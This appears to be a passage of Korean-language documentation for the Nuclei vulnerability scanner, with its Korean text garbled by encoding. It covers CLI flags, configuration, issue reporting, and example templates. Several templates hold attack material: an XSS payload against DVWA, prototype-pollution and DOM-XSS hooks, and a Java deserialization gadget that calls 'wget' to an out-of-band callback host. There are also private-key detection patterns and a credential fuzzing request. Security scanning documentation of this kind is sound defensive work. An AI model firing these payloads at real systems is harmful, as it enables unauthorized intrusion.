-exclude-templates/exclude) ํ ํ๋ฆฟ ์ ์ธํ๊ธฐ (-exclude-templates/exclude)exclude-templates ํ๋๊ทธ๋ ํ๋ ํน์ ๋ค์์ ํ ํ๋ฆฟ ๊ทธ๋ฆฌ๊ณ ๋๋ ํ ๋ฆฌ๋ฅผ ์ ์ธํ ์ ์์ต๋๋ค. ๋ณต์์
-exclude-templatesํ๋๊ทธ๋ฅผ ํตํด ์ฌ๋ฌ ๊ฐ์ ์ ๊ณตํฉ๋๋ค.Exclude Tags (
-exclude-tags/etags) ํ๊ทธ ์ ์ธํ๊ธฐ (-exclude-tags/etags)exclude-tags ํ๋๊ทธ๋ ์ ์๋ ํ๊ทธ๋ค์ ๊ธฐ๋ฐ์ผ๋ก ํ ํ๋ฆฟ์ ์ ์ธํฉ๋๋ค. ํ๋ ํน์ ๋ค์์ ํ๊ทธ๋ฅผ ์ฌ์ฉํด ์ ์ธํ ์ ์์ต๋๋ค.
!!! info "ํ๋์ ํ ํ๋ฆฟ์ ์ ์ธํ๋ ์"
```
nuclei -list urls.txt -t cves/ -exclude-templates cves/2020/CVE-2020-XXXX.yaml
```!!! info "๋ค์์ ํ ํ๋ฆฟ์ ์ ์ธํ๋ ์"
```
nuclei -list urls.txt -exclude-templates exposed-panels/ -exclude-templates technologies/
```!!! info "ํ๋์ ํ๊ทธ๋ก ํ ํ๋ฆฟ์ ์ ์ธํ๋ ์"
```
nuclei -l urls.txt -t cves/ -etags xss
```!!! info "๋ค์์ ํ๊ทธ๋ฅผ ์ด์ฉํด ํ ํ๋ฆฟ์ ์ ์ธํ๋ ์"
```
nuclei -l urls.txt -t cves/ -etags sqli,rce
```nuclei-ignore๋ฅผ ์ฝ๊ฒ ์ค์ ํ๊ธฐ ์ํด Nuclei๋ include-tags / include-templates ํ๋๊ทธ๋ฅผ ์ง์ํฉ๋๋ค.
!!! info "์ ์ธ๋ ํ๊ทธ๋ค์ ์คํํ๋ ์"
```
nuclei -l urls.txt -include-tags iot,misc,fuzz
```๋ชจ๋ ๊ฒ์์ ๋ํด ์ด๋ฌํ ํ๊ทธ๋ฅผ ํฌํจํ๋๋ก nuclei ์ค์ ํ์ผ์ ์ ๋ฐ์ดํธํ ์ ์์ต๋๋ค.
Nuclei **์ค์ **
!!! abstract ""
[v.2.3.2](https://blog.projectdiscovery.io/nuclei-v2-3-0-release/) ๋ฒ์ ์ nuclei๋ถํฐ ๊น๋ํ CLI ํ๊ฒฝ๊ณผ ํฌ๋งทํ
๋ ๊ธธ๊ฑฐ๋ ์งง์ ํ์์ ํ๋๊ทธ๋ค์ ์ฌ์ฉํ๊ธฐ ์ํด์ [goflags](https://github.com/projectdiscovery/goflags)๋ฅผ ์ฌ์ฉํฉ๋๋ค.
์๋ ์์ฑ ์ค์ ํ์ผ์ ์์ฑํ๋ [goflags](https://github.com/projectdiscovery/goflags)๋ ์ฌ์ฉ ๊ฐ๋ฅํ ๋ชจ๋ CLIํ๋๊ทธ๋ฅผ ์ค์ ํ์ผ๋ก ์ปค๋ฒํฉ๋๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก ๋ก๋๋๋ ๋ฐ๋ณต์ ์ธ CLI ํ๋๊ทธ๋ฅผ ํผํ๊ธฐ ์ํด์ ๋ชจ๋ CLI ํ๋๊ทธ๋ค์ ์ค์ ํ์ผ์ ์ ์ํ ์ ์์ต๋๋ค.
Nuclei ์ค์ ํ์ผ์ ๊ธฐ๋ณธ ๊ฒฝ๋ก๋ `$HOME/.config/nuclei/config.yaml` ์
๋๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก ์คํํ ํ๋๊ทธ๋ฅผ ์ค์ ํ๊ฑฐ๋ ์ฃผ์ ํด์ ํฉ๋๋ค.์๋๋ ์ค์ ํ์ผ์ ์์์ ๋๋ค.
# Headers to include with all HTTP request
header:
- 'X-BugBounty-Hacker: h1/geekboy'
# Directory based template execution
templates:
- cves/
- vulnerabilities/
- misconfiguration/
# Tags based template execution
tags: exposures,cve
# Template Filters
tags: exposures,cve
author: geeknik,pikpikcu,dhiyaneshdk
severity: critical,high,medium
# Template Allowlist
include-tags: dos,fuzz # Tag based inclusion (allows overwriting nuclei-ignore list)
include-templates: # Template based inclusion (allows overwriting nuclei-ignore list)
- vulnerabilities/xxx
- misconfiguration/xxxx
# Template Denylist
exclude-tags: info # Tag based exclusion
exclude-templates: # Template based exclusion
- vulnerabilities/xxx
- misconfiguration/xxxx
# Rate Limit configuration
rate-limit: 500
bulk-size: 50
concurrency: 50์ผ๋จ ์ค์ ์ด ๋๋ฉด, ์ค์ ํ์ผ์ ๊ธฐ๋ณธ์ ์ผ๋ก ์ฌ์ฉํฉ๋๋ค. -config ํ๋๊ทธ๋ฅผ ํตํด ์ฌ์ฉ์ ์ ์ ์ค์ ํ์ผ์ ์ถ๊ฐ์ ์ผ๋ก ์ ๊ณตํ ์ ์์ต๋๋ค.
!!! info "์ฌ์ฉ์ ์ ์ ํ์ผ๋ก nuclei ์คํํ๊ธฐ"
```
nuclei -config project.yaml -list urls.txt
```Nuclei **์ ๊ณ **
Nuclei๋ GitHub, GitLab, Jira integration ์ ์ง์ํ๋ v2.3.0 ๋ฒ์ ๊ณผ ํจ๊ป ์ ๊ณ ๋ชจ๋์ ์ ๊ณตํฉ๋๋ค. ์ด๋ ๋ฐ๊ฒฌ๋ ๊ฒฐ๊ณผ์ ๋ฐ๋ผ ์ง์๋๋ ํ๋ซํผ์์ ์๋์ผ๋ก ์ ๊ณ ๋ด์ญ์ ์์ฑํ ์ ์๊ฒ ํด์ค๋๋ค.
| Platform | GitHub | GitLab | Jira | Markdown | SARIF | Elasticsearch |
|---|---|---|---|---|---|---|
| Support |
-rc, -report-config ํ๋๊ทธ๋ ํตํฉ์ ์ํด ํ๋ซํผ์ ์ธ๋ถ ์ ๋ณด๋ฅผ ์ฝ๊ธฐ ์ํด ์ค์ ํ์ผ์ ์ ๊ณตํ ์ ์์ต๋๋ค. ์ง์๋๋ ๋ชจ๋ ํ๋ซํผ์ ๋ํ ์์ ํ์ผ ์
๋๋ค.
์๋ฅผ ๋ค์ด, Github ์์ ์ ๊ณ ๋ด์ญ์ ์์ฑํ๊ธฐ ์ํด ๋ค์์ ๋ด์ฉ์ ๋ด์ ์ค์ ํ์ผ์ ์์ฑํ๊ณ ์ ์ ํ ๊ฐ๋ค์ ๋ฐ๊พธ์ด ๋ด ๋๋ค.
# GitHub contains configuration options for GitHub issue tracker
github:
username: "$user"
owner: "$user"
token: "$token"
project-name: "testing-project"
issue-label: "Nuclei"Elasticsearch์ ๊ฒฐ๊ณผ๋ค์ ์ ์ฅํ๊ธฐ ์ํด ๋ค์์ ๋ด์ฉ์ ๋ด์ ์ค์ ํ์ผ์ ์์ฑํ๊ณ ์ ์ ํ ๊ฐ๋ค์ ๋ฐ๊พธ์ด ๋ด ๋๋ค.
# elasticsearch contains configuration options for elasticsearch exporter
elasticsearch:
# IP for elasticsearch instance
ip: 127.0.0.1
# Port is the port of elasticsearch instance
port: 9200
# IndexName is the name of the elasticsearch index
index-name: nuclei์ ๊ณ ๋ชจ๋๊ณผ ํจ๊ป Nuclei ์คํํ๊ธฐ
nuclei -l urls.txt -t cves/ -rc issue-tracker.yaml๋น์ทํ๊ฒ ๋ค๋ฅธ ํ๋ซํผ๋ค๋ ์ค์ ํ ์ ์์ต๋๋ค. ์ ๊ณ ๋ชจ๋์ ์ค๋ณต๋๋ ์ ๊ณ ๋ด์ญ์ ์์ฑํ์ง ์๊ธฐ ์ํด์ ๊ธฐ๋ณธ์ ์ธ ํํฐ๋ง๊ณผ ์ค๋ณต ์ฒดํฌ๋ฅผ ์ง์ํฉ๋๋ค.
allow-list:
severity: high,critical์๋ ์ฌ๊ฐ๋๊ฐ high ์ด๊ณ critical ๋ก ์๋ณ๋๋ ์ด์๋ค์ ๋ํด์๋ง ์ ๊ณ ๋ด์ญ์ ์์ฑํฉ๋๋ค. ๋น์ทํ๊ฒ๋ deny-list ์ค์ ์ ํน์ ์ฌ๊ฐ๋์ ์ด์๋ค์ ์ ์ธํ ์ ์์ต๋๋ค.
๊ฐ์ ์์
์ ๋ํด ์ฃผ๊ธฐ์ ์ธ ์ค์บ์ ์คํํ๋ค๋ฉด, ์ ๊ณ ๋ชจ๋์ด ๋น๊ตํ๊ณ ์ ๋ํฌํ ์ด์๋ค์ ๋ํ ์ ๊ณ ๋ด์ญ์ ์์ฑ ํ๋ ์ฃผ์ด์ง ๋๋ ํ ๋ฆฌ์์์ ์ ํจํ ๋ฐ๊ฒฌ์ ๋ํด์ ๋ก์ปฌ ๋ณต์ฌ๋ณธ์ ์์ฑํ๋ -rdb, -report-db ํ๋๊ทธ๋ฅผ ๊ณ ๋ คํด๋ณผ ์ ์์ต๋๋ค.
nuclei -l urls.txt -t cves/ -rc issue-tracker.yaml -rdb prodMarkdown ์ถ์ถ
Nuclei๋ -me, -markdown-export ํ๋๊ทธ๋ฅผ ํตํด ์ ํจํ ๋ฐ๊ฒฌ๋ค์ ๋งํฌ๋ค์ด ํ์์ผ๋ก ์ถ์ถํ๋ ๊ฒ์ ์ง์ํฉ๋๋ค. ์ด ํ๋๊ทธ๋ ๋งํฌ๋ค์ด ํ์์ ๊ฒฐ๊ณผ๋ฅผ ์ ์ฅํ๊ธฐ ์ํด ์
๋ ฅ์ผ๋ก ๋๋ ํ ๋ฆฌ๋ฅผ ์ฌ์ฉํฉ๋๋ค.
๋งํฌ๋ค์ด ํ์์ ๊ฒฐ๊ณผ์์ ์์ฒญ/์๋ต์ ํฌํจํ๋ ๊ฒ์ ์ ํ ์ฌํญ์
๋๋ค. ํน์ -irr, -include-rr ํ๋๊ทธ๊ฐ -me์ ํจ๊ป ์ฌ์ฉ๋ ๋ ํฌํจ๋ฉ๋๋ค.
nuclei -l urls.txt -t cves/ -irr -markdown-export reportsSARIF ์ถ์ถ
Nuclei๋ -se, -sarif-export ํ๋๊ทธ๋ฅผ ํตํด ์ ํจํ ๋ฐ๊ฒฌ๋ค์ SARIF ํ์์ผ๋ก ์ถ์ถํ๋ ๊ฒ์ ์ง์ํฉ๋๋ค. ์ด ํ๋๊ทธ๋ SARIF ํ์์ ๊ฒฐ๊ณผ๋ฅผ ์ ์ฅํ๊ธฐ ์ํด ์
๋ ฅ์ผ๋ก ํ์ผ์ ์ฌ์ฉํฉ๋๋ค.
์์ฒญ-์๋ต ์ ๋ณด๋ ๋งํฌ๋ค์ด ๋ฌธ๋ฒ ํ์์ด๊ณ , SARIF์ ์๋ต ์์ญ์ ์ ์ฅ๋ฉ๋๋ค.
nuclei -l urls.txt -t cves/ -sarif-export report.sarifScan **Metrics**
Nuclei๋ localhost:9092/metrics ์ ์ ์ ๊ฐ๋ฅํ๋ฉฐ -metrics ํ๋๊ทธ๋ฅผ ์ฌ์ฉํ๋ฉด ๋ก์ปฌ ํฌํธ 9092์์ ์คํ ์ค์ธ scan metrics๋ฅผ ๋ณผ ์ ์์ต๋๋ค. ๊ธฐ๋ณธ ํฌํธ๋ -metrics-port ํ๋๊ทธ๋ฅผ ์ฌ์ฉํ์ฌ ์ค์ ํ ์ ์์ต๋๋ค.
nuclei -t cves/ -l urls.txt -metrics ๋ก nuclei๊ฐ ์คํ๋ ๋์ metrics๋ก ์๋ต์ ์์ฒญํ ์์์
๋๋ค.
curl -s localhost:9092/metrics | jq .{
"duration": "0:00:03",
"errors": "2",
"hosts": "1",
"matched": "0",
"percent": "99",
"requests": "350",
"rps": "132",
"startedAt": "2021-03-27T18:02:18.886745+05:30",
"templates": "256",
"total": "352"
}Passive Scan
Nuclei๋ ํ์ผ ์ง์์ ํตํด HTTP ๊ธฐ๋ฐ ํ ํ๋ฆฟ์ ๋ํ ์๋ ๋ชจ๋ ์ค์บ์ ์ง์ํฉ๋๋ค. ์ด ๊ธฐ๋ฅ์ ํตํด ๋ค๋ฅธ ๋๊ตฌ์์ ์์ง๋ ๋ก์ปฌ์ ์ ์ฅ๋ HTTP ์๋ต ๋ฐ์ดํฐ์ ๋ํด HTTP ๊ธฐ๋ฐ ํ ํ๋ฆฟ์ ์คํํ ์ ์์ต๋๋ค.
nuclei -passive -target http_data!!! info ""
์๋๋ชจ๋๋ `{{BasedURL}}` ํน์ `{{BasedURL/}}`์ ๊ธฐ๋ณธ ๊ฒฝ๋ก๋ก ๊ฐ์ง๋ ํ
ํ๋ฆฟ๋ค์ ๋ํด ์ ํ๋ฉ๋๋ค.**๊ธฐ์ฌ**
Nuclei templates ๋ nuclei ํ๋ก์ ํธ์ ๊ธฐ๋ฐ์ ๋๋ค. ์ด ํ๋ก์ ํธ๋ฅผ ์ํด ์๋ก์ด ํฌํ๋ฆฟ์ ์์ฑํ๊ฑฐ๋ ์ ์ถํด์ฃผ์๋ ๋ถ๊ป ๊ฐ์ฌ๋๋ฆฝ๋๋ค. ๊ทธ๋ฆฌ๊ณ ์ด๋ฌํ ๊ธฐ์ฌ๋ ์ ํฌ๊ฐ ํ๋ก์ ํธ๋ฅผ ๊ณ์ ์ง์ํ ํฐ ๋๊ธฐ๊ฐ ๋ฉ๋๋ค.
License
Nuclei is distributed under MIT License.
File: docs/kr/template-examples/dns.md
๊ธฐ๋ณธ ํ ํ๋ฆฟ
์ ๋ ฅ์ ๋ํ CNAME ๋ ์ฝ๋๊ฐ ์กด์ฌํ๋์ง ๊ฐ์งํ๊ธฐ ์ํ ๊ธฐ๋ณธ์ ์ธ DNS ์์ฒญ์ ๋๋ค.
id: basic-dns-example
info:
name: Test DNS Template
author: pdteam
severity: info
dns:
- name: "{{FQDN}}"
type: CNAME
class: inet
recursion: true
retries: 3
matchers:
- type: word
words:
# ์๋ต์ CNAME ๋ ์ฝ๋๋ฅผ ๋ฐ๋์ ํฌํจํด์ผ ํฉ๋๋ค.
- "IN\tCNAME"Multiple matcher
zendesk.com ๋๋ github.io์ ๊ฐ๋ฆฌํค๋ CNAME ๋ ์ฝ๋๋ก ์๋ธ๋๋ฉ์ธ์ ํ์งํ ์ ์๋ ์ฌ๋ฌ Matcher๋ค์ ๋ณด์ฌ์ฃผ๋ ์์์ ๋๋ค.
id: multiple-matcher
info:
name: Test DNS Template
author: pdteam
severity: info
dns:
- name: "{{FQDN}}"
type: CNAME
class: inet
recursion: true
retries: 5
matchers-condition: or
matchers:
- type: word
name: zendesk
words:
- "zendesk.com"
- type: word
name: github
words:
- "github.io"File: docs/kr/template-examples/file.md
๊ธฐ๋ณธ ํ์ผ ํ ํ๋ฆฟ
์ ๊ณต๋ ํ์ผ์์ ํจํด ์ฒดํฌ๋ฅผ ํ๋ ํ ํ๋ฆฟ์ ๋๋ค.
id: ssh-public-key
info:
name: SSH Public Key Detect
author: pd-team
severity: low
file:
- extensions:
- pub
max-size: 1024 # read very small chunks
matchers:
- type: word
words:
- "ssh-rsa"๋น์ฌ๊ท, ์ ์ธ ๋ชฉ๋ก ํ์ฅ
์๋์ ํ ํ๋ฆฟ์ ์์ ํ ํ๋ฆฟ๊ณผ ๋์ผํฉ๋๋ค. ํ์ง๋ง, ๋น์ฌ๊ท ์ต์ ๊ณผ ํจ๊ป ์ ์ธ ๋ชฉ๋ก์ ์ฌ์ฉํ๊ณ ์์ต๋๋ค.
id: ssh-private-key
info:
name: SSH Private Key Detect
author: pd-team
severity: high
file:
- extensions:
- all
denylist:
- pub
no-recursive: true
max-size: 1024 # read very small chunks
matchers:
- type: word
words:
- "BEGIN OPENSSH PRIVATE KEY"
- "BEGIN PRIVATE KEY"
- "BEGIN RSA PRIVATE KEY"
- "BEGIN DSA PRIVATE KEY"
- "BEGIN EC PRIVATE KEY"
- "BEGIN PGP PRIVATE KEY BLOCK"
- "ssh-rsa"File: docs/kr/template-examples/headless.md
๊ธฐ๋ณธ ํค๋๋ฆฌ์ค ํ์ ์์
์ด ํ ํ๋ฆฟ์ ํค๋๋ฆฌ์ค ๋ธ๋ผ์ฐ์ ์ URL์ ๋ฐฉ๋ฌธํ์ฌ ๋ก๋๋ ๋๊น์ง ๊ธฐ๋ค๋ฆฝ๋๋ค.
id: basic-headless-request
info:
name: Basic Headless Request
author: pdteam
severity: info
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitloadํค๋๋ฆฌ์ค ํ๋กํ ํ์ ์ค์ผ ๊ฐ์ง
์๋ ํ ํ๋ฆฟ์ Nuclei ํค๋๋ฆฌ์ค ๊ธฐ๋ฅ์ด ์๋ ํ์ด์ง์์ ํ๋กํ ํ์ ์ค์ผ์ ๊ฐ์งํฉ๋๋ค. ํ์ง๋ฅผ ์ํ ์ฝ๋๋ https://github.com/msrkp/PPScan์์ ๊ฐ์ ธ์์ต๋๋ค. ์ฐ๋ฆฌ๋ ํต์ ์คํฌ๋ฆฝํธ ์ฃผ์ ๊ธฐ๋ฅ์ ์ฌ์ฉํ์ฌ ํ๋กํ ํ์ ์ค์ผ์ ๋ํ ์ ๋ขฐํ ์ ์๋ ํ์ง๋ฅผ ์ ๊ณตํฉ๋๋ค.
id: prototype-pollution-check
info:
name: Prototype Pollution Check
author: pd-team
severity: medium
reference: https://github.com/msrkp/PPScan
headless:
- steps:
- action: setheader
args:
part: response
key: Content-Security-Policy
value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
- action: setheader
args:
part: response
key: X-Frame-Options
value: foo
- action: setheader
args:
part: response
key: If-None-Match
value: foo
# Set the hook to override window.data for xss detection
- action: script
args:
hook: true
code: |
// Hooking code adapted from https://github.com/msrkp/PPScan/blob/main/scripts/content_script.js
(function() {window.alerts = [];
function logger(found) {
window.alerts.push(found);
}
function check() {
loc = location.href;
if (loc.indexOf("e32a5ec9c99") >= 0 && loc.search("a0def12bce") == -1) {
setTimeout(function() {
if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60") {
logger(location.href);
}
var url = new URL(location.origin + location.pathname);
url.hash = "__proto__[a0def12bce]=ddcb362f1d60&__proto__.a0def12bce=ddcb362f1d60&dummy";
location = url.href;
}, 5 * 1000);
} else if (loc.search("a0def12bce") != -1) {
setTimeout(function() {
if (Object.prototype.a0def12bce == "ddcb362f1d60") {
logger(location.href);
}
window.close();
}, 5 * 1000);
} else {
var url = new URL(loc);
url.searchParams.append("__proto__[e32a5ec9c99]", "ddcb362f1d60");
url.searchParams.append("__proto__.e32a5ec9c99", "ddcb362f1d60");
location = url.href;
}
}
window.onload = function() {
if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60" || Object.prototype.a0def12bce == "ddcb362f1d60") {
logger(location.href);
} else {
check();
}
};
var timerID = setInterval(function() {
if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60" || Object.prototype.a0def12bce == "ddcb362f1d60") {
logger(location.href);
clearInterval(timerID);
}
}, 5 * 1000)})();
- args:
url: "{{BaseURL}}"
action: navigate
- action: waitload
- action: script
name: alerts
args:
code: "window.alerts"
matchers:
- type: word
part: alerts
words:
- "__proto__"
extractors:
- type: kval
part: alerts
kval:
- alertsํค๋๋ฆฌ์ค ๋ชจ๋๋ก DVWA XSS ์ฌํ
์ด ํ ํ๋ฆฟ์ DVWA(Damn Vulnerable Web App)์ ๋ก๊ทธ์ธํ๊ณ Reflected XSS๋ฅผ ์๋์ผ๋ก ์ฌํํ๋ ค๊ณ ์๋ํ๋ฉฐ ํ์ด๋ก๋๊ฐ ์ฑ๊ณต์ ์ผ๋ก ์คํ๋ ๊ฒฝ์ฐ ์ผ์น ํญ๋ชฉ์ ๋ฐํํฉ๋๋ค.
id: dvwa-xss-verification
info:
name: DVWA Reflected XSS Verification
author: pd-team
severity: info
headless:
- steps:
- args:
url: "{{BaseURL}}"
action: navigate
- action: waitload
# xss ๊ฐ์ง๋ฅผ ์ํด window.data๋ฅผ ์ฌ์ ์ํ๋๋ก ํํฌ ์ค์
- action: script
args:
hook: true
code: "(function() { window.alert = function() { window.data = 'found' } })()"
- args:
by: x
value: admin
xpath: /html/body/div/div[2]/form/fieldset/input
action: text
- args:
by: x
value: password
xpath: /html/body/div/div[2]/form/fieldset/input[2]
action: text
- args:
by: x
xpath: /html/body/div/div[2]/form/fieldset/p/input
action: click
- action: waitload
- args:
by: x
xpath: /html/body/div/div[2]/div/ul[2]/li[11]/a
action: click
- action: waitload
- args:
by: x
value: '"><svg/onload=alert(1)>'
xpath: /html/body/div/div[3]/div/div/form/p/input
action: text
- args:
keys: "\r" # ํค๋ณด๋์ Enter ํค๋ฅผ ๋๋ฆ
๋๋ค.
action: keyboard
- action: waitload
- action: script
name: alert
args:
code: "window.data"
matchers:
- part: alert
type: word
words:
- "found"DOM XSS ๊ฐ์ง
์ด ํ
ํ๋ฆฟ์ eval, innerHTML ๋ฐ document.write์ ๊ฐ์ ๊ณตํต ์ฑํฌ๋ฅผ ํํนํ์ฌ window.name ์์ค์ ๋ํ DOM-XSS ๊ฐ์ง๋ฅผ ์ํํฉ๋๋ค.
id: window-name-domxss
info:
name: window.name DOM XSS
author: pd-team
severity: medium
headless:
- steps:
- action: setheader
args:
part: response
key: Content-Security-Policy
value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
- action: script
args:
hook: true
code: |
(function() {window.alerts = [];
function logger(found) {
window.alerts.push(found);
}
function getStackTrace () {
var stack;
try {
throw new Error('');
}
catch (error) {
stack = error.stack || '';
}
stack = stack.split('\n').map(function (line) { return line.trim(); });
return stack.splice(stack[0] == 'Error' ? 2 : 1);
}
window.name = "{{randstr_1}}'\"<>";
var oldEval = eval;
var oldDocumentWrite = document.write;
var setter = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML').set;
Object.defineProperty(Element.prototype, 'innerHTML', {
set: function innerHTML_Setter(val) {
if (val.includes("{{randstr_1}}'\"<>")) {
logger({sink: 'innerHTML', source: 'window.name', code: val, stack: getStackTrace()});
}
return setter.call(this, val)
}
});
eval = function(data) {
if (data.includes("{{randstr_1}}'\"<>")) {
logger({sink: 'eval' ,source: 'window.name', code: data, stack: getStackTrace()});
}
return oldEval.apply(this, arguments);
};
document.write = function(data) {
if (data.includes("{{randstr_1}}'\"<>")) {
logger({sink: 'document.write' ,source: 'window.name', code: data, stack: getStackTrace()});
}
return oldEval.apply(this, arguments);
};
})();
- args:
url: "{{BaseURL}}"
action: navigate
- action: waitload
- action: script
name: alerts
args:
code: "window.alerts"
matchers:
- type: word
part: alerts
words:
- "sink:"
extractors:
- type: kval
part: alerts
kval:
- alertsFile: docs/kr/template-examples/helper-functions.md
ํจ์ ๋์ฐ๋ฏธ ์์
Nuclei์๋ ์์ฒญ ๋ธ๋ก์์ ๋ค์ํ ๋ฐํ์ ์์ ์ ์ํํ๋ ๋ฐ ์ฌ์ฉํ ์ ์๋ ์ฌ๋ฌ ๋์ฐ๋ฏธ ๊ธฐ๋ฅ์ด ์์ต๋๋ค. ๋ค์์ ์ฌ์ฉ ๊ฐ๋ฅํ ๋ชจ๋ ๋์ฐ๋ฏธ ๊ธฐ๋ฅ์ ์ฌ์ฉํ๋ ๋ฐฉ๋ฒ์ ๋ณด์ฌ์ฃผ๋ ์์ ํ ํ๋ฆฟ์ ๋๋ค.
id: helper-functions-examples
info:
name: RAW Template with Helper Functions
author: pdteam
severity: info
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
01: {{base64("Hello")}}
02: {{base64(1234)}}
03: {{base64_decode("SGVsbG8=")}}
04: {{base64_py("Hello")}}
05: {{compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1')}}
06: {{concat("Hello", "world")}}
07: {{contains("Hello", "lo")}}
08: {{date_time("%Y-%M-%D")}}
09: {{date_time("%Y-%M-%D", unix_time())}}
10: {{date_time("%H-%m")}}
11: {{date_time("02-01-2006 15:04")}}
12: {{date_time("02-01-2006 15:04", unix_time())}}
13: {{dec_to_hex(11111)}}
14: {{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
15: {{gzip("Hello")}}
16: {{gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))}}
17: {{hex_decode("6161")}}
18: {{hex_encode("aa")}}
19: {{hmac("sha1", "test", "scrt")}}
20: {{hmac("sha256", "test", "scrt")}}
21: {{html_escape("<body>test</body>")}}
22: {{html_unescape("<body>test</body>")}}
23: {{join("_", "hello", "world")}}
24: {{len("Hello")}}
25: {{len(5555)}}
26: {{md5("Hello")}}
27: {{md5(1234)}}
28: {{mmh3("Hello")}}
29: {{print_debug(1+2, "Hello")}}
30: {{rand_base(5, "abc")}}
31: {{rand_base(5, "")}}
32: {{rand_base(5)}}
33: {{rand_char("abc")}}
34: {{rand_char("")}}
35: {{rand_char()}}
36: {{rand_int(1, 10)}}
37: {{rand_int(10)}}
38: {{rand_int()}}
39: {{rand_ip("192.168.0.0/24")}}
40: {{rand_ip("2002:c0a8::/24")}}
41: {{rand_ip("192.168.0.0/24","10.0.100.0/24")}}
42: {{rand_text_alpha(10, "abc")}}
43: {{rand_text_alpha(10, "")}}
44: {{rand_text_alpha(10)}}
45: {{rand_text_alphanumeric(10, "ab12")}}
46: {{rand_text_alphanumeric(10)}}
47: {{rand_text_numeric(10, 123)}}
48: {{rand_text_numeric(10)}}
49: {{regex("H([a-z]+)o", "Hello")}}
50: {{remove_bad_chars("abcd", "bc")}}
51: {{repeat("a", 5)}}
52: {{replace("Hello", "He", "Ha")}}
53: {{replace_regex("He123llo", "(\\d+)", "")}}
54: {{reverse("abc")}}
55: {{sha1("Hello")}}
56: {{sha256("Hello")}}
57: {{to_lower("HELLO")}}
58: {{to_upper("hello")}}
59: {{trim("aaaHelloddd", "ad")}}
60: {{trim_left("aaaHelloddd", "ad")}}
61: {{trim_prefix("aaHelloaa", "aa")}}
62: {{trim_right("aaaHelloddd", "ad")}}
63: {{trim_space(" Hello ")}}
64: {{trim_suffix("aaHelloaa", "aa")}}
65: {{unix_time(10)}}
66: {{url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")}}
67: {{url_encode("https://projectdiscovery.io/test?a=1")}}
68: {{wait_for(1)}}
69: {{zlib("Hello")}}
70: {{zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))}}
71: {{hex_encode(aes_gcm("AES256Key-32Characters1234567890", "exampleplaintext"))}}
72: {{starts_with("Hello", "He")}}
73: {{ends_with("Hello", "lo")}}
74: {{line_starts_with("Hi\nHello", "He")}}
75: {{line_ends_with("Hello\nHi", "lo")}}File: docs/kr/template-examples/http.md
Basic Template
This template requests / path of URL and match string in the response.
id: basic-example
info:
name: Test HTTP Template
author: pdteam
severity: info
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
words:
- "This is test matcher text"Multiple matchers
This template requests / path of URL and run multiple OR based matchers against response.
id: http-multiple-matchers
info:
name: Test HTTP Template
author: pdteam
severity: info
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
name: php
words:
- "X-Powered-By: PHP"
- "PHPSESSID"
part: header
- type: word
name: node
words:
- "Server: NodeJS"
- "X-Powered-By: nodejs"
condition: or
part: header
- type: word
name: python
words:
- "Python/2."
- "Python/3."
part: headerMatchers with conditions
This template requests / path of URL and runs two matchers, one with AND conditions with string match in header and another matcher against response body.
id: matchers-conditions
info:
name: Test HTTP Template
author: pdteam
severity: info
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
words:
- "X-Powered-By: PHP"
- "PHPSESSID"
condition: and
part: header
- type: word
words:
- "PHP"
part: bodyMultiple matcher conditions
This template requests / path of URL and runs two matchers with AND conditions, one with OR conditions with string match in header and another matcher against response body, both condition has to be true in order to match this template.
id: multiple-matchers-conditions
info:
name: Test HTTP Template
author: pdteam
severity: info
http:
- method: GET
path:
- "{{BaseURL}}"
matchers-condition: and
matchers:
- type: word
words:
- "X-Powered-By: PHP"
- "PHPSESSID"
condition: or
part: header
- type: word
words:
- PHP
part: bodyCustom headers
This template requests / path of the URL as GET request with additional custom headers defined in the template.
id: custom-headers
info:
name: Test HTTP Template
author: pdteam
severity: info
http:
- method: GET
# Example of sending some headers to the servers
headers:
X-Client-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
path:
- "{{BaseURL}}/server-status"
matchers:
- type: word
words:
- Apache Server Status
- Server Version
condition: andPOST requests
This template makes POST request to /admin endpoint with defined data as body parameter in the template.
id: post-request
info:
name: Test HTTP Template
author: pdteam
severity: info
http:
- method: POST
path:
- "{{BaseURL}}/admin"
body: 'admin=test'
matchers:
- type: word
words:
- Welcome AdminTime based Matcher
This template is example of DSL based duration matcher that returns true when the response time matched the defined duration, in this case 6 or more than 6 seconds.
id: time-based-matcher
info:
name: DSL based response time matcher
author: pdteam
severity: none
http:
- raw:
- |
GET /slow HTTP/1.1
matchers:
- type: dsl
dsl:
- 'duration>=6'File: docs/kr/template-examples/http-fuzzing.md
HTTP Intruder fuzzing
์ด ํ ํ๋ฆฟ์ 'clusterbomb' Intruder๋ฅผ ์คํํ๊ณ ์๋ต์ ๋ํ ๋ฌธ์์ด ์ผ์น๋ฅผ ํ์ธํ๋ ํ ํ๋ฆฟ ์ ์ ํ์ด๋ก๋์ ํจ๊ป RAW ํ์์ผ๋ก ์ ์๋ POST ์์ฒญ์ ๋ง๋ญ๋๋ค.
id: multiple-raw-example
info:
name: Test RAW Template
author: pdteam
severity: info
# ํ
ํ๋ฆฟ ํ์ด๋ก๋ ์ง์์ผ๋ก HTTP Intruder fuzzing.
http:
- raw:
- |
POST /?username=ยงusernameยง¶mb=ยงpasswordยง HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5)
Host: {{Hostname}}
another_header: {{base64('ยงpasswordยง')}}
Accept: */*
body=test
